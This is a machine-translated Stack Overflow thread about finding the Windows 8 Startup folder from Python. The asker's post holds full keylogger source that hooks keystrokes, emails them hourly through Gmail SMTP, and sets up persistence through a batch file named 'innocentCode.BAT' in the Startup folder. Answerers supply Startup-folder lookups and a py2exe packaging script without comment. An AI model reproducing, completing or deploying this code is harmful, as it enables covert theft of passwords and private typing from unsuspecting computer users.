2014-11-25 52 views
0

我有一個代碼將一個批處理文件添加到啓動文件夾中,以便它在計算機啓動時運行。 我的代碼如下:使用python在windows 8中查找啓動文件夾

path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Batch.BAT' %win32api.GetUserName() 
f = open(path, 'w') 

這只是正常在Win 7,但Win8的啓動文件夾感動,我無法找到訪問它。 如何找到放入的正確文件夾? 謝謝 艾薩克

UPDATE:我的代碼工作,當它是.pyw運行,但一旦我把它交給.EXE它不...這個我不明白

全部代碼:

import win32api 
import sys 
import pythoncom, pyHook 
import time 
import smtplib 
import thread 
import re 
import os 

global text 
global start 
def main(): 
global text 
global start 
text = '' 
start = time.time() 
AddToStartUp(fixpath(findDirectory())) 
while True: 
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard() 
    pythoncom.PumpMessages() 

def sendemail(from_addr, to_addr_list, cc_addr_list, 
      subject, message, 
      login, password, 
      smtpserver='smtp.gmail.com:587'): 
header = 'From: %s\n' % from_addr 
header += 'To: %s\n' % ','.join(to_addr_list) 
header += 'Cc: %s\n' % ','.join(cc_addr_list) 
header += 'Subject: %s\n\n' % subject 
message = header + message 

server = smtplib.SMTP(smtpserver) 
server.starttls() 
server.login(login,password) 

problems = server.sendmail(from_addr, to_addr_list, message) 
server.quit() 
return problems 


def OnKeyboardEvent(event): 
global start 
global text 
text += chr(event.Ascii) 
print text 
if time.time()-start > 3600: 
    thread.start_new_thread(sendemail, ('email','email','','Keylogger',text,'email','password')) 
    start = time.time() 
return True 
def fixpath(path): 
arr = re.split(r'\\', path) 
direct = '' 
for i in arr: 
    direct += i + '\\' 
return direct 

def AddToStartUp(direct): 
path = 'C:\\Users\\%s\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\innocentCode.BAT' %win32api.GetUserName() 
f = open(path, 'w') 
f.write("""cd %s\nstart keylogger\nexit"""%direct) 

def findDirectory(): 
return os.path.dirname(os.path.realpath(__file__)) 

if __name__ == "__main__": 
main() 
+0

作爲一個相關的說明,您不應該假定配置文件目錄是'C:\ Users'。使用像'%USERPROFILE%'或'%APPDATA%'這樣的環境變量。 – 2014-11-25 13:15:24

+0

Windows中有API來獲取此信息。檢查Python庫以獲取此類操作系統信息的暴露情況。 – Richard 2014-11-25 13:18:05

+0

你能給我一個代碼示例嗎?我是相當新的python,不知道我如何與他們合作 – Isaac1492 2014-11-25 13:28:00

回答

0

以下代碼顯示如何通過win32 API找到它。我曾經發現它在網上搜索 - 我沒有學分。

from win32com.shell import shell, shellcon 

def startupdirectory(): 
    return shell.SHGetFolderPath(
     0, 
     shellcon.CSIDL_COMMON_STARTUP, 
     0,# null access token (no impersonation) 
     0 # want current value, shellcon.SHGFP_TYPE_CURRENT isn't available, this seems to work 
     ) 

if __name__ == '__main__': 
    print startupdirectory() 
+0

這將返回啓動文件夾的目錄? – Isaac1492 2014-11-25 14:21:49

+0

哇,我誤解了你的問題。它返回用戶的appdata文件夾。我會調查並回來。 – 2014-11-25 14:23:20

+0

非常感謝你 – Isaac1492 2014-11-25 14:25:04

0

我讀this article,得到了以下信息。在Windows 8

當前用戶的啓動文件夾位於:

C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 

這些程序啓動對登錄用戶只在當前。要直接訪問此文件夾,請打開運行,輸入shell:startup並按Enter鍵。

所有用戶的Windows 8的啓動文件夾位於:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 

這些程序啓動對所有用戶。要打開此文件夾,請調出運行框,輸入shell:common startup並按Enter鍵。

代碼:該代碼只是檢索用戶名,然後將其添加到路徑中。稍後它會檢查路徑是否真的存在,如果存在,則打印Path Exists!

import getpass 
import os.path 
userName = getpass.getuser() 
file_path= 'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Batch.BAT' %userName 
if os.path.exists(file_path): 
     print 'Path Exists!' 

以下代碼適用於創建可執行文件。你必須在下面的代碼中輸入你的python文件名,而不是filename.py。如果你正在創建一個GUI應用程序,然後只需更換這行console=['filename.py'],windows=['filename.py'],

setup.py

from distutils.core import setup 
import py2exe 

dll_excludes = ['OLEAUT32.dll','USER32.dll','COMCTL32.dll','SHELL32.dll', 
       'ole32.dll','MSVCP90.dll','WINMM.dll','WSOCK32.dll', 
       'COMDLG32.dll','ADVAPI32.dll','NETAPI32.dll','WS2_32.dll', 
       'WINSPOOL.DRV','GDI32.dll','RPCRT4.dll','VERSION.dll', 
       'KERNEL32.dll','ntdll.dll'] 

setup (
    name='Test', 
    description="Script to test py2exe for packaging", 
    version="0.1", 
    console=['filename.py'],#Enter the python file name here 
    platforms=["windows"], 
    options={ 'py2exe': { 
      'packages': 'encodings', 
      "excludes": dll_excludes, 
      } 
     }, 
    ) 
+0

那麼爲什麼我的代碼不工作,而不是使用get pass我使用win32api.GetUserName()和做相同的代碼。如果路徑是相同的路徑,它爲什麼會崩潰? – Isaac1492 2014-11-25 14:38:59

+0

你能把你正在使用的整個代碼包括import語句嗎?您的代碼在Windows 7操作系統上運行python v2.7的機器上工作良好。 – 2014-11-25 14:40:03

+0

更新:我的代碼工程,運行時,它是在.pyw,但一旦我把它變成.exe它不... 這我不明白 – Isaac1492 2014-11-25 14:43:13

0

我個人喜歡用PyWin32和蒂姆·金的winshell module。這允許你做這樣的事情,以獲得啓動文件夾:

import winshell 

startup = winshell.startup() 

winshell模塊還提供了許多其他的常用位置,如桌面的路徑,開始菜單,收藏夾等,還可以創建快捷方式並與回收站一起工作。

+0

謝謝,明天我會試試這個,因爲我再也不能訪問Win8 PC了。 – Isaac1492 2014-11-25 15:09:40

0

此代碼適用於所有不是Python外部庫的Windows版本。

import win32api, win32con 
    objShell = win32com.client.Dispatch("WScript.Shell")  
    startupFlder = objShell.SpecialFolders("Startup") 
0
from win32com.shell import shell, shellcon 

def get_startup_directory(common): 
    """ 
    Copyright Tim Golden <[email protected]> 25th November 2003 - 2012 
    Licensed under the (GPL-compatible) MIT License: 
    http://www.opensource.org/licenses/mit-license.php 
    """ 
    return shell.SHGetFolderPath(0, (shellcon.CSIDL_STARTUP, shellcon.CSIDL_COMMON_STARTUP)[common], None, 0) 

get_startup_directory(0) # 'C:\\Users\\<USERNAME>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup' 
get_startup_directory(1) # 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup' 
+0

請爲未來的用戶提供一些解答。 – GibralterTop 2017-04-25 19:44:07